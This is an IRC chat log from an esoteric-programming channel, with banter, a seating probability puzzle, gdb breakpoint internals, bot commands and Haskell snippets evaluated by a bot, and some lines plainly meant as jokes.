01:35:43 <shachaf> One thing Trout said that Rosewater liked very much was that there really were vampires and were-wolves and goblins and angels and so on, but that they were in the fourth dimension. So was William Blake, Rosewater's favorite poet, according to Trout. So were heaven and hell.
01:36:26 <shachaf> http://kilgoretroutstories.tumblr.com/post/16715820705/the-gospel-from-outer-space-by-kilgore-trout was a very good Kilgore Trout story.
01:37:09 <oerjan> i'm not sure he's my kettle of fish.
01:37:25 <shachaf> is that a pun
01:37:34 <shachaf> what's the pun
01:37:37 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
01:39:08 <oerjan> you just need to deduce the ichtymology.
01:39:39 <oerjan> also i probably misused the idiom. otoh i'm not the first to do so.
01:39:43 <shachaf> is it the picture?
01:40:34 <oerjan> it's an idiom.
01:42:20 <oerjan> hm apparently kilgore trout is itself a pun.
01:42:26 <shachaf> Oh, I get it.
01:42:28 <shachaf> Kilgore Trout
02:08:01 -!- hppavilion[1] has joined.
02:08:15 <hppavilion[1]> Conspiracy Theory Time: The Apollo 11 moon landings were faked
02:08:55 <hppavilion[1]> They actually pulled if off on Apollo 8, but /somebody/ didn't understand how to use a video camera
02:09:44 <hppavilion[1]> `? ①
02:09:45 <HackEgo> ​①? ¯\(°​_o)/¯
02:09:54 <hppavilion[1]> `unidecode ①
02:09:55 <HackEgo> ​[U+2460 CIRCLED DIGIT ONE]
02:10:18 <hppavilion[1]> `unidecode ⓵
02:10:19 <HackEgo> ​[U+24F5 DOUBLE CIRCLED DIGIT ONE]
02:10:22 <boily> `? ⑨
02:10:23 <HackEgo> ​⑨? ¯\(°​_o)/¯
02:10:44 <hppavilion[1]> \oren\: So you can't get a 1 into a single circle- thus why you made it 7sd instead- but it will fit into a double circle?
02:10:58 <boily> all conspiracies exist.
02:11:29 <hppavilion[1]> Are there any conspiracy theories involving the Unicode Consortium
02:12:57 <boily> there are some heated flame wars about Han Unification...
02:18:47 <hppavilion[1]> boily: True, but any actual conspiracy theories?
02:18:54 <hppavilion[1]> Or actual conspiracies, for that matter?
02:19:57 <hppavilion[1]> Conspiracy Theorem
02:20:31 <hppavilion[1]> My favorite word that I invented is 'hyperthesis', mostly because it's actually useful
02:21:15 * boily is startled by cats
02:21:24 <ybden> /nick cats
02:21:41 <boily> I don't think there are actual unicodal conspiracies...
02:23:47 <shachaf> /nick lybde
02:27:48 * oerjan wonders if the MiD's umbrella also prevents him from leaving footprints or if that's a power he has
02:27:58 <oerjan> *MitD
02:30:49 <oerjan> also i'm wondering if he's going to die heroically without ever showing himself
02:31:34 <boily> bringing with his ultimate demise the secret of V's true gender?
02:32:03 <oerjan> wat
02:32:12 <shachaf> I saw a puzzle: An airplane has 100 seats, and there are 100 people with assigned seat numbers. One person enters the airplane and sits in a random seat. Then the rest of them enter the the airplane one at a time and try to sit in their assigned seat; if it's taken, they sit in a random free seat instead. What's the probability that the last person will sit in the correct seat?
02:32:30 <boily> oerjan: that's perfectly thausible!
02:32:43 <oerjan> OKAY
02:33:09 <boily> shachaf: I saw that puzzle. I refuse to aknowledge that puzzle. it is inherently headachy hth
02:33:17 <oerjan> sounds tricky
02:33:22 <shachaf> boily: it has a very simple solution hth
02:34:33 <boily> yes. and the result is right. nonetheless, it's a great source of mental dissonance.
02:44:05 <oerjan> hm. is it 50%?
02:44:44 <shachaf> yes
02:44:47 <oerjan> yay!
02:50:42 <boily> I want to say that there are 99 wrong seats and only 1 right seat, so chances are 1%. but no, 50% is the right result.
02:51:49 <boily> oh well. time to night.
02:52:01 -!- boily has quit (Quit: SHAKEN CHICKEN).
02:57:10 -!- sebbu has quit (Ping timeout: 250 seconds).
02:59:18 -!- Nithogg_ has quit (Ping timeout: 272 seconds).
03:02:15 -!- moonythedwarf has joined.
03:02:23 <moonythedwarf> hbot is getting a LOT better
03:02:34 <moonythedwarf> all it need now is some better security
03:03:25 <oerjan> maybe someone can hack it in.
03:03:47 <moonythedwarf> lol
03:04:24 <moonythedwarf> it has a working bin folder too
03:08:25 <oerjan> `addquote <fizzie> AIUI, one of the senior folks now has a car full of body parts as a result. <fizzie> (I don't know, I was in Finland.)
03:08:28 <HackEgo> 1282) <fizzie> AIUI, one of the senior folks now has a car full of body parts as a result. <fizzie> (I don't know, I was in Finland.)
03:10:24 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
03:13:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
03:21:03 -!- moonythedwarf has quit (Ping timeout: 276 seconds).
03:34:02 -!- augur has joined.
03:41:27 -!- J_Arcane has quit (Read error: Connection reset by peer).
03:46:01 -!- J_Arcane has joined.
03:56:54 <quintopia> oerjan: what proportion of norwegians do you think secretly own hookahs?
03:58:44 <oerjan> i'm way too out of the loop to guess.
04:01:22 <quintopia> stands to reason, what with being prehadeon and all
04:09:35 <quintopia> what's the best example of a programming language where every string constructed from valid tokens is a valid program and none of the tokens are NOPs
04:10:34 -!- idris-bot has quit (Ping timeout: 260 seconds).
04:10:44 <quintopia> is there a non-esoteric such thing?
04:10:46 <quintopia> APL?
04:10:51 <quintopia> i don't know APL
04:11:53 <oerjan> pretty sure APL has some syntax, like parentheses
04:12:11 -!- idris-bot has joined.
04:12:54 <oerjan> (also it has operators but not precedence)
04:13:38 -!- vague_ has joined.
04:14:02 -!- vague_ has changed nick to Guest89590.
04:14:13 -!- Guest89590 has changed nick to rarfin.
04:14:38 <quintopia> "problem" and "program" have very similar movements of fingers on a keyboard
04:18:59 -!- oerjan has quit (Quit: Nite).
04:23:44 <izabera> what does 'setting a breakpoint' do in gdb?
04:24:04 <izabera> how do i do that without a debugger?
04:24:09 -!- hppavilion[1] has joined.
04:24:45 <izabera> like, can a program set a breakpoint in itself while it's running?
04:26:04 <hppavilion[1]> http://notevendoommusic.com/ is still the greatest thing ever
04:26:16 <hppavilion[1]> izabera: Yes, but it's a mortal sin and it will avoid it at all costs
04:27:04 <izabera> lame, no html5
04:27:05 <quintopia> izabera: this is a thing i do regularly with pdb
04:27:43 <quintopia> but i never considered doing it with gdb. i assumed breakpoints were things tracked by gdb, not the program
04:28:16 <izabera> so you're saying it requires actual work from the debugger
04:29:02 <izabera> i was hoping it was some magic assembly instruction that took a memory address and something and it signaled you when you access it
04:32:03 <shachaf> Are you talking about a breakpoint or a "watchpoint"?
04:33:34 <izabera> i'm interested in both
04:33:54 <shachaf> On x86 gdb implements breakpoints by replacing the first byte of an instruction with int3, 0xcc.
04:34:35 <izabera> that's cool
04:34:45 <shachaf> @google gdb watchpoint
04:34:45 <lambdabot> https://sourceware.org/gdb/onlinedocs/gdb/Set-Watchpoints.html
04:35:33 <izabera> i don't see that being documented there
04:36:22 <shachaf> That page is about watchpoints, not breakpoints.
04:37:22 <izabera> @google gdb breakpoint
04:37:23 <lambdabot> http://www.unknownroad.com/rtfm/gdbtut/gdbbreak.html
04:37:23 <lambdabot> Title: RMS's gdb Tutorial: How do I use breakpoints?
04:37:51 <izabera> i don't see that being documented there
04:38:14 <izabera> in my defense it wasn't in the first handful of google results
04:42:46 <hppavilion[1]> Popcorn is clearly a hoax
04:43:02 <hppavilion[1]> Have you ever seen a GIF of popcorn popping? The physics obviously don't add up
04:44:53 <zzo38> No I have not seen a GIF of popcorn popping, but I have seen real popcorn and have the device used to heat them.
04:52:47 <hppavilion[1]> http://thechive.com/2015/12/15/some-satisfying-gifs-to-start-your-morning-17-gifs/ is... evil
04:54:50 -!- sebbu has joined.
04:56:29 -!- HackEgo has quit (Remote host closed the connection).
05:15:30 <hppavilion[1]> What.
05:16:08 -!- Etaoin has joined.
05:16:21 -!- rarfin has quit (Quit: Leaving).
05:16:22 -!- Kaynato has quit (Ping timeout: 244 seconds).
05:16:40 <Etaoin> 👋
05:17:21 <Etaoin> Is the wiki still alive? Is this irc alive?
05:17:53 <pikhq> It's a bit of a slow period for the channel, but yes on both counts.
05:19:07 <Etaoin> Phew thank jesus. I've been silently marvelling at the wiki for well over a year now, only now decided to check if the community is still active, glad to know It is!
05:20:27 <pikhq> Today's logs are about 62k, to give you an idea.
05:21:07 <Etaoin> 6 am here so I'll go to bed now and rest peacefully 😃
05:21:36 <Etaoin> That doesn't sound bad at all
05:21:43 <pikhq> Ĝis la
05:25:58 -!- Etaoin has quit (Ping timeout: 250 seconds).
05:28:05 <lifthrasiir> yay Tangut in Unicode
05:28:08 <lifthrasiir> now we can use all sort of esoteric characters for Zalgo
05:56:51 -!- augur_ has joined.
05:58:18 -!- augur has quit (Ping timeout: 250 seconds).
05:59:27 <hppavilion[1]> I think I'm going to show my mother some /r/reverseanimalrescue gifs
05:59:33 <hppavilion[1]> See if I can make her stop loving me
06:01:20 -!- augur_ has quit (Read error: Connection reset by peer).
06:01:58 -!- augur has joined.
06:05:41 -!- augur has quit (Read error: Connection reset by peer).
06:15:26 -!- lambda-11235 has quit (Quit: Bye).
06:33:01 <quintopia> it just occurred to me that in just 5 more years i will have spent half my life as an esolanger...as much time as any other hobby except fiction
06:44:02 -!- myndzi has quit (Ping timeout: 244 seconds).
06:49:04 -!- jix has quit (Ping timeout: 258 seconds).
06:49:33 -!- jix has joined.
06:54:25 -!- Nithogg_ has joined.
07:33:41 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]).
07:42:28 -!- Destructible has joined.
07:42:43 <Destructible> Hi!
07:45:17 <Destructible> I had an idea for an esolang (again)
07:45:22 -!- hppavilion[2] has joined.
07:45:57 -!- Sgeo_ has joined.
07:46:58 -!- puck1pedia has joined.
07:47:17 -!- atehwa has joined.
07:49:34 -!- digitalc1ld has joined.
07:49:45 -!- erdic_ has joined.
07:50:05 -!- b_jonas_ has joined.
08:04:43 -!- hppavilion[1] has quit (*.net *.split).
08:04:43 -!- Sgeo has quit (*.net *.split).
08:04:43 -!- erdic has quit (*.net *.split).
08:04:43 -!- deltab has quit (*.net *.split).
08:04:43 -!- b_jonas has quit (*.net *.split).
08:04:44 -!- digitalcold has quit (*.net *.split).
08:04:44 -!- atehwa_ has quit (*.net *.split).
08:04:44 -!- puckipedia has quit (*.net *.split).
08:04:45 -!- puck1pedia has changed nick to puckipedia.
08:04:51 -!- erdic_ has changed nick to erdic.
08:14:45 -!- deltab has joined.
08:18:35 <hppavilion[2]> For some reason, there are some parts of the world where it is illegal to have a pet hedgehog. Monsters.
08:27:24 <Destructible> hmm
08:36:21 -!- myndzi has joined.
08:37:01 -!- AnotherTest has joined.
08:46:46 <Destructible> hi
08:48:52 -!- Destructible has quit (Quit: Page closed).
08:49:17 -!- Destructible has joined.
08:49:49 <Destructible> ╠╣║
08:50:42 <Destructible> I had a pretty good idea for an esolang, I think
08:50:56 <shachaf> copumpkin: that book was released hth
08:51:37 <shachaf> copumpkin: i'll send you a copy if you like
08:51:49 <shachaf> assuming there's a way to do that. i don't know.
08:54:13 <hppavilion[2]> I just realized
08:54:17 <hppavilion[2]> If someone sees some shit in war
08:54:29 <hppavilion[2]> And is fucked up after getting home
08:54:38 <hppavilion[2]> They'll often be diagnosed with PTSD- "Post-Traumatic Stress Disorder"
08:54:51 <hppavilion[2]> But with the awful stuff that tends to happen in a warzone
08:54:56 <hppavilion[2]> Can it really be called a "disorder"
08:55:53 <hppavilion[2]> I think that it'd be more disorderous to be a happy, optimistic family (wo)man after being rescued from an ISIS POW camp moments before your decapitation and moments after your best friends'
08:56:20 <hppavilion[2]> It should be called PTSR- Post Traumatic Stress Rationality
08:56:42 <Destructible> well, really, they are out of danger, so it's not exactly rational.
08:57:53 <Destructible> also, from wikipedia: A mental disorder (also called a mental illness,[1] psychiatric disorder, or psychological disorder) is a diagnosis, most often by a psychiatrist, of a behavioral or mental pattern that may cause suffering or a poor ability to function in life.
09:01:16 <Destructible> Also, I don't think that soldiers that return without ptsd are ok with what went down either.
09:14:03 -!- moonythedwarf has joined.
09:24:26 <Destructible> hi
09:26:23 -!- moon_ has joined.
09:28:33 -!- hppavilion[2] has quit (Ping timeout: 240 seconds).
09:29:36 -!- moonythedwarf has quit (Ping timeout: 276 seconds).
09:38:03 -!- moon___ has joined.
09:41:03 -!- moon_ has quit (Ping timeout: 240 seconds).
09:43:10 -!- moon___ has quit (Ping timeout: 260 seconds).
09:52:57 -!- Phantom_Hoover has joined.
10:41:05 -!- hppavilion[2] has joined.
10:44:28 -!- Destructible has quit (Ping timeout: 250 seconds).
10:48:11 -!- hppavilion[2] has quit (Ping timeout: 240 seconds).
10:55:11 <b_jonas_> `lua -e print(20*0.3)
10:55:16 -!- b_jonas_ has changed nick to b_jonas.
11:35:39 -!- boily has joined.
11:47:41 <boily> @massages-loud
11:47:41 <lambdabot> You don't have any messages
11:52:38 <b_jonas> `8-ball are you here?
11:52:48 <b_jonas> what's with HackEgo?
11:53:54 <boily> no HackEgo, no fungot... AAAAAAAAAAAAAAAAAAAAAH!
11:54:03 <boily> fizzie: FUNGOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOT!!!
11:54:17 <boily> and Gregor isn't even here to be yelled at!
11:55:07 <fizzie> Ut-oh.
11:55:44 <fizzie> HackEgo seems to be online, just not on-channel. Even I can fix that.
11:55:46 <shachaf> soon ripe / soon rotten / soon gone / but not fungotten
11:56:07 <shachaf> fizzie: I thought you can fix everything.
11:56:30 -!- HackEgo has joined.
11:56:35 <fizzie> That's one.
11:57:24 -!- fungot has joined.
11:57:27 <fizzie> And that's two.
12:00:05 <boily> yay!
12:00:21 <boily> `wisdom
12:00:25 <boily> fungot: wisdom
12:00:25 <fungot> boily: it is very annoying to use ssh with x forwarding. need to go to dozomo and learn their names and it doesn't come with the disks? dang.
12:00:35 <HackEgo> adu//Do you know adu? Adu adu adu adu adu!
12:02:24 <int-e> fungot: you should be using something else, like xpra or vncserver + vncviewer -via
12:02:24 <fungot> int-e: all right...ill try not to think about your mind. best of luck with it
12:02:34 <int-e> (it's funny when fungot makes sense)
12:02:34 <fungot> int-e: esperanto was designed but elitist linguists more interested in pragmatics. ( pragmatic beauty would be a double as x86_64 use sse instead of the more " advanced"
12:03:14 <int-e> actually that was quite insulting, I think.
12:03:28 <boily> fungot: stop making sense. you're not sentient.
12:03:28 <fungot> boily: this one, yome! stay good! ( except that the is an operation
12:03:38 <boily> fungot: and balance your parentheses. ))
12:03:39 <fungot> boily: ( since ( cons x lst) in terms of y ( not the ( eq? ( 200 0.)) be false? i just have issues with a type-system question? we're evaluating everything in the top
12:09:16 <int-e> `ping
12:09:43 <HackEgo> pong
12:10:49 <boily> `ping
12:10:50 <HackEgo> pong
12:12:15 <int-e> `addquote <fungot> int-e: all right...ill try not to think about your mind. best of luck with it
12:12:15 <fungot> int-e: sarahbot is a surprisingly good conversationalist. -g
12:12:28 <HackEgo> 1283) <fungot> int-e: all right...ill try not to think about your mind. best of luck with it
12:12:58 <int-e> (I don't particularly like that it said that to me, but if it had been anybody else I would have added it as a quote as well)
12:13:18 <shachaf> fungot: say something quoteworthy to me twh
12:13:18 <fungot> shachaf: darcs repository tomorrow. ( shame on me for not noticing.
12:13:24 <shachaf> shame on fungot
12:13:24 <fungot> shachaf: what is dynamic-wind?? :p
12:15:16 <shachaf> @time
12:15:19 <lambdabot> Local time for shachaf is Wed Jun 22 04:15:16 2016
12:15:46 <shachaf> guess what: i'm going to be miserable and unproductive tomorrow, just like every day for the past couple of weeks
12:18:50 <quintopia> hint-e
12:19:04 <boily> quintopia: AAAAAAAAAAAAAAAH!
12:19:12 <boily> what the morning are you doing here?
12:19:17 <quintopia> are you dying
12:19:25 <boily> you're offtimezone!
12:19:30 <boily> no, just having breakfast.
12:19:33 <quintopia> my bad
12:19:47 <quintopia> what shall i do about it
12:21:15 <boily> we shall ask an impartial umpire, but later. I'm translating to a shower, then off to work.
12:21:26 <quintopia> gl
12:21:28 -!- Koen_ has joined.
12:21:33 <quintopia> int-e!
12:21:37 <boily> int-e!
12:21:49 -!- boily has quit (Quit: LIBRARIAN CHICKEN).
12:22:05 <Koen_> int-e!
12:22:06 <Cale> `? dynamic-wind
12:22:12 <HackEgo> dynamic-wind? ¯\(°​_o)/¯
12:22:31 <Koen_> well static wind would be just air?
12:25:07 <Cale> `learn dynamic-wind is the opposite of static-wind.
12:25:12 <HackEgo> Learned 'dynamic-wind': dynamic-wind is the opposite of static-wind.
12:25:29 <Cale> `learn static-wind is just air.
12:25:36 <HackEgo> Learned 'static-wind': static-wind is just air.
12:28:17 <shachaf> If dynamic-wind is the opposite of static-wind, what's dynamic-unwind?
12:28:21 <int-e> !?!!
12:29:28 <int-e> did I miss anything important?
12:31:20 -!- MoALTz has joined.
12:33:55 <quintopia> int-e: i just wanted to confirm a possible bug in lambdabot
12:35:13 <quintopia> will lambdabot only send you message notifications if you send messages to a channel that _arent_ commands for lambdabot?
12:39:27 <Cale> `learn dynamic-unwind is just like dynamic-wind except that it's a different sort of weather.
12:40:00 <HackEgo> Learned 'dynamic-unwind': dynamic-unwind is just like dynamic-wind except that it's a different sort of weather.
12:41:39 <int-e> quintopia: possible... hmm
12:41:42 <b_jonas> `? brexit
12:41:47 <HackEgo> brexit? ¯\(°​_o)/¯
12:42:06 <b_jonas> `learn brexit is like a break, except when there's no surrounding loop, in which case it's like an exit.
12:42:10 <HackEgo> Learned 'brexit': brexit is like a break, except when there's no surrounding loop, in which case it's like an exit.
12:44:38 <FireFly> That is almost sensible
12:45:49 <int-e> quintopia: it's not easy to fix... it really happens by design. lambdabot processes commands (which are prefixed by @ and friends) differently from "contextual" messages, and the notification happens in a contextual message handler
12:55:28 <int-e> quintopia: and by "not easy to fix" I really mean it's easy to process all messages as contextual messages but it's hard to figure out what kind of unintended side effects that would have. for example, it would be inappropriate to say that you have new messages when your command is @messages...
12:59:04 <quintopia> this is a problem i anticipated. but it remains that it is poor design since it can result in messages not being received or being delayed
12:59:38 -!- hppavilion[2] has joined.
13:00:10 <Koen_> well, surely someone would say "hi" before sending commands to lambdabot
13:00:18 <quintopia> nope
13:00:31 <Koen_> unless they're only passing by to get their messages, in which case the command would be @message and everything would be fine
13:02:26 <quintopia> they may be passing by to get the weather
13:04:46 <\oren\> Ok, so the next version will include 23fb to 23fe
13:04:58 <quintopia> i feel like checking for messages should be a followup action to processing any message. if its a command, notify can be PM'd, unless its @messages in which case the flag will be cleared by the time the check happens
13:06:12 <hppavilion[2]> Huh, Kirk Johnson
13:07:00 <\oren\> @messages-load
13:07:00 <lambdabot> You don't have any messages
13:11:23 <int-e> Koen_: #haskell is too big for everybody saying hello
13:14:57 <hppavilion[2]> Huh, if you add a + after a bitly link it'll tell you where it goes (and other data)
13:15:07 <hppavilion[2]> I will now use this religiously to avoid goatse
13:17:34 <quintopia> sounds like you hang out in the wrong places
13:18:53 <b_jonas> `wisdom
13:19:10 <HackEgo> nothing//Nothing would have been better than to create this wisdom entry.
13:19:19 <b_jonas> Koen_: you can say hi in the same line as some lambdabot command
13:19:27 <\oren\> quintopia: nah, sounds like he hangs out the places I used to post when I was 15
13:19:41 <quintopia> the wrong places
13:20:04 <b_jonas> @eval {- hello. why does this go into an infinite loop? I don't understand -} let { f x + 1 = x * f x; } in f 10;
13:20:38 <Koen_> @messages hi, b_jonas
13:20:38 <lambdabot> You don't have any messages
13:21:01 <b_jonas> hmm
13:21:22 <b_jonas> @eval var "does this work?"
13:21:25 <\oren\> hold on that syntax?
13:21:33 <b_jonas> um
13:21:38 <b_jonas> is the command even called @eval ?
13:21:39 <b_jonas> @help
13:21:39 <lambdabot> help <command>. Ask for help for <command>. Try 'list' for all commands
13:21:45 <\oren\> f(x,+,1) = x * f(x)?
13:22:12 <b_jonas> \oren\: no, it's probably wrong syntax
13:22:29 <b_jonas> \oren\: it shoudl be f (x + 1) instead of f x + 1
13:22:32 <int-e> b_jonas: you mean @run
13:22:34 <b_jonas> ah
13:22:36 <int-e> @help @eval
13:22:36 <lambdabot> help <command>. Ask for help for <command>. Try 'list' for all commands
13:22:43 <b_jonas> @run var "does this work (try 2)?
13:22:44 <lambdabot> <hint>:1:29:
13:22:44 <lambdabot> lexical error in string/character literal at end of input
13:22:46 <b_jonas> @run var "does this work (try 3)?"
13:22:47 <lambdabot> does this work (try 3)?
13:22:47 <int-e> @help eval
13:22:48 <lambdabot> eval. Do nothing (perversely)
13:22:59 <b_jonas> @run {- hello. why does this go into an infinite loop? I don't understand -} let { f x + 1 = x * f x; } in f 10;
13:23:01 <lambdabot> <hint>:1:79: Parse error in pattern: f
13:23:09 <b_jonas> @run let { f (x + 1) = x * f x; } in f 10;
13:23:10 <lambdabot> <hint>:1:10: Parse error in pattern: x + 1
13:23:30 <int-e> no, I'm not enabling NPlusKPatterns
13:23:49 <\oren\> f(x) = (x-1) * f(x-1)?
13:24:01 <b_jonas> int-e: good
13:24:03 <b_jonas> I hate them
13:24:18 <int-e> but indeed it shouldn't produce an infinite loop
13:24:41 <\oren\> that would end with 0 because haskell is lazy correct?
13:24:49 <int-e> *** Exception: <interactive>:3:5-23: Non-exhaustive patterns in function f
13:25:11 <int-e> \oren\: nope, the semantics of (x+1) include that x>=0.
13:25:19 <hppavilion[2]> Do you ever see a reference to something funny and guess exactly what it will be without detail?
13:25:29 <hppavilion[2]> For example, the Thoughts and Prayers game- t to think, p to pray
13:25:44 <\oren\> int-e: that is unmathy
13:26:24 <int-e> \oren\: it's mimicing natural numbers; the idea was to allow primitive recursive definitions like f (n+1) = n * f n; f 0 = 1
13:26:52 <int-e> but to my mind there is no good use for these patterns except for code golfing.
13:27:12 <\oren\> So it defines that base case how?
13:28:06 <\oren\> like f(x+1) = x+f(x) would want a base case of f(0) = 0
13:28:43 <\oren\> but it's arbitrary
13:29:32 <bauen1> @list
13:29:33 <lambdabot> What module? Try @listmodules for some ideas.
13:29:36 <bauen1> @listmodules
13:29:36 <lambdabot> activity base bf check compose dice dict djinn dummy elite eval filter free fresh haddock help hoogle instances irc karma localtime metar more oeis offlineRC pl pointful poll pretty quote search slap source spell system tell ticker todo topic type undo unlambda unmtl version where
13:29:37 <fizzie> \oren\: It doesn't define the base case -- hence the "Non-exhaustive patterns" error int-e pasted.
13:29:38 -!- Kaynato has joined.
13:29:52 <\oren\> fizzie: ok. good
13:29:54 <bauen1> @list eval
13:29:54 <lambdabot> eval provides: run let define letlpaste undefine
13:30:02 <bauen1> @run test
13:30:04 <lambdabot> Not in scope: ‘test’
13:30:04 <lambdabot> Perhaps you meant one of these:
13:30:04 <lambdabot> ‘text’ (imported from Text.PrettyPrint.HughesPJ),
13:30:16 <bauen1> what does eval run ?
13:30:27 <int-e> @help run
13:30:27 <lambdabot> run <expr>. You have Haskell, 3 seconds and no IO. Go nuts!
13:30:38 <bauen1> ok
13:43:30 -!- Sgeo_ has quit (Ping timeout: 246 seconds).
13:48:53 -!- Deewiant has quit (Ping timeout: 244 seconds).
13:49:35 -!- Hoolootwo has quit (Ping timeout: 258 seconds).
13:49:39 -!- Elronnd has quit (Ping timeout: 264 seconds).
13:52:52 -!- Elronnd has joined.
13:52:53 -!- Hoolootwo has joined.
13:53:05 -!- Deewiant has joined.
13:58:57 <\oren\> Hmm apparently there are some graphical glitches causing people to see a mix of the old glyps and new glyphs for the range 2460 to 24FF?
14:03:36 <b_jonas> \oren\: ah, I see you added http://www.orenwatson.be/verne.htm
14:05:46 <b_jonas> \oren\: you might want to add the crude French translation of the verse as well
14:06:25 <b_jonas> \oren\: does this try to distinguish the two different K runes somehow?
14:08:51 <b_jonas> \oren\: in the cyphered rune version, on the top row second block, you're missing an E rune that is clearly present in the cyphered rune version of the book
14:10:35 <b_jonas> \oren\: and apparently you fixed the typo of s/et terrestra/te terrestra/ in the ciphered rune version
14:10:56 <b_jonas> um
14:11:29 <b_jonas> I mean fixed the typo of s/et terrestre/te terrestre/
14:12:45 <b_jonas> ah yes, you do have two different K runes:  and ᚴ
14:16:44 -!- Sgeo_ has joined.
14:29:36 <FreeFull> > let f x = case x of | 0 -> 0 | _ -> x + f (x-1) in f 10
14:29:37 <lambdabot> <hint>:1:21: parse error on input ‘|’
14:29:44 <FreeFull> Oh, right
14:30:06 <FreeFull> > let f x = { case x of 0 -> 0 ; _ -> x + f (x-1) } in f 10
14:30:08 <lambdabot> <hint>:1:11: parse error on input ‘{’
14:30:22 <FreeFull> I don't remember how to write it with the {;} syntax
14:31:16 <FreeFull> > let f x = case x of { 0 -> 0 ; _ -> x + f (x-1) } in f 10
14:31:18 <lambdabot> 55
14:32:20 -!- bender has joined.
14:40:02 -!- iaglium has joined.
14:40:43 <FreeFull> Thinking about it, I could have written that without the case
14:41:01 <FreeFull> > let { f 0 = 0; f x = x + f (x-1) } in f 10
14:41:03 <lambdabot> 55
14:45:06 <Koen_> > let { f x = x(x+1)/2 } in f 10
14:45:07 <lambdabot> Occurs check: cannot construct the infinite type: a2 ~ a2 -> a1
14:45:07 <lambdabot> Relevant bindings include
14:45:07 <lambdabot> x :: a2 -> a1 (bound at <interactive>:1:9)
14:45:18 <Koen_> OH COME ON
14:45:30 <Koen_> oh wait
14:45:38 <Koen_> > let { f x = x*(x+1)/2 } in f 1à
14:45:40 <lambdabot> Not in scope: ‘à’
14:45:42 <Koen_> > let { f x = x*(x+1)/2 } in f 10
14:45:44 <lambdabot> 55.0
14:45:53 <Koen_> now you're just messing with me :(
14:46:08 <Koen_> > let { f x = 55 } in f 10
14:46:10 <lambdabot> 55
14:46:12 <Koen_> :-)
14:47:56 -!- GoToSell has joined.
14:50:25 <hppavilion[2]> ISISTEP. It's a thing.
15:08:02 -!- Lord_of_Life has quit (Excess Flood).
15:08:31 -!- `^_^v has joined.
15:10:42 -!- spiette has joined.
15:10:42 -!- Lord_of_Life has joined.
15:19:40 <b_jonas> `8-ball HackEgo, are you back now?
15:19:45 <HackEgo> It is decidedly so.
15:48:03 -!- bender has quit (Ping timeout: 250 seconds).
16:03:49 -!- spockers has quit (Excess Flood).
16:04:33 -!- spockers has joined.
16:10:30 -!- Deewiant has quit (Ping timeout: 244 seconds).
16:11:10 -!- Deewiant has joined.
16:12:53 <hppavilion[2]> e^(pi*i)=-1
16:13:01 <hppavilion[2]> e^(tau*i)=1
16:13:11 <hppavilion[2]> e^(pi*i*0)=1
16:13:15 <hppavilion[2]> tau = 2pi
16:13:37 <hppavilion[2]> e^(pi*0) = e^(tau*2)
16:13:44 <hppavilion[2]> 0pi=2pi
16:13:50 <hppavilion[2]> s/tau*2/pi*2/
16:13:56 <hppavilion[2]> 0=2
16:13:57 <hppavilion[2]> QED
16:14:26 <hppavilion[2]> "Consider the set of all ellipses, {...,...,...}"
16:22:51 -!- hppavilion[2] has quit (Ping timeout: 240 seconds).
16:26:50 -!- J_Arcane has joined.
16:30:55 -!- spiette has quit (Ping timeout: 260 seconds).
16:31:09 -!- bender has joined.
16:51:41 -!- adu has joined.
17:07:18 -!- bauen1 has quit (Quit: see ya - bauen1).
17:07:47 -!- bauen1 has joined.
17:10:23 -!- bender has quit (Ping timeout: 250 seconds).
17:24:16 -!- zzo38 has quit (Remote host closed the connection).
17:30:21 -!- Koen__ has joined.
17:32:37 -!- Koen_ has quit (Ping timeout: 244 seconds).
17:50:57 -!- sebbu has quit (Ping timeout: 246 seconds).
17:53:11 -!- Koen__ has quit (Remote host closed the connection).
18:11:16 -!- Koen_ has joined.
18:24:40 -!- GoToSell has quit (Ping timeout: 250 seconds).
18:38:12 <Phantom_Hoover> \oren\, did you ever look into how that powder toy computer works?
18:39:10 -!- spiette has joined.
18:40:09 -!- bradcomp has joined.
18:53:59 -!- moon___ has joined.
19:12:10 -!- bauen1_ has joined.
19:12:24 -!- bauen1 has quit (Ping timeout: 260 seconds).
19:13:36 -!- bauen1_ has quit (Client Quit).
19:13:43 -!- bauen1 has joined.
19:20:23 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
19:21:36 -!- moon___ has quit (Ping timeout: 272 seconds).
19:32:13 <\oren\> Phantom_Hoover: What poweder toy computer?
19:32:32 <Phantom_Hoover> uh, was it not you who was interested in that
19:32:37 <Phantom_Hoover> fuck i've forgotten
19:32:39 <\oren\> someone made a computer in a sand game?
19:33:15 <\oren\> doesn't sound hard
19:35:28 <Phantom_Hoover> no, and having read up on it i just found out that the game in question added this weird undocumented system that turns an existing element into free, instantaneous 30-bit logical operations
19:45:02 <\oren\> alias anno nano
19:45:12 <\oren\> alias nnao nano
19:45:50 <int-e> `? nano
19:46:35 <int-e> `? pico
19:47:39 <int-e> oh come on
19:47:53 <int-e> fungot: help?
19:47:53 <fungot> int-e: no fancy quit message? :)
19:48:03 <int-e> hmpf.
19:48:07 <HackEgo> nano is vi's sister.
19:48:07 <HackEgo> pico? ¯\(°​_o)/¯
19:48:25 <int-e> `learn pico is the useless twin of nano.
19:48:30 <HackEgo> Learned 'pico': pico is the useless twin of nano.
19:48:56 <int-e> (opinionated version: `learn pico is the even more useless twin of nano.)
19:49:28 -!- sebbu has joined.
20:05:42 -!- adu has quit (Quit: adu).
20:10:56 <\oren\> `alias maek make
20:11:20 <\oren\> `? aleas
20:11:23 <\oren\> `? alias
20:11:32 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: alias: not found
20:11:40 <\oren\> omg hackego already unloaded
20:12:02 <HackEgo> aleas? ¯\(°​_o)/¯
20:12:02 <HackEgo> alias? ¯\(°​_o)/¯
20:12:43 <\oren\> `? make
20:12:46 <HackEgo> make? ¯\(°​_o)/¯
20:14:53 <\oren\> stupid gnu screen doesn't support astral characters
20:15:03 <\oren\> only the basic plane
20:21:30 <int-e> `'
20:21:33 <HackEgo> 945) * ais523 challenges the americans here to remember who lost in the most recent UK general election <Phantom_Hoover> ais523, the lib dems
20:22:19 <shachaf> `mkx bin/"//quote; quote
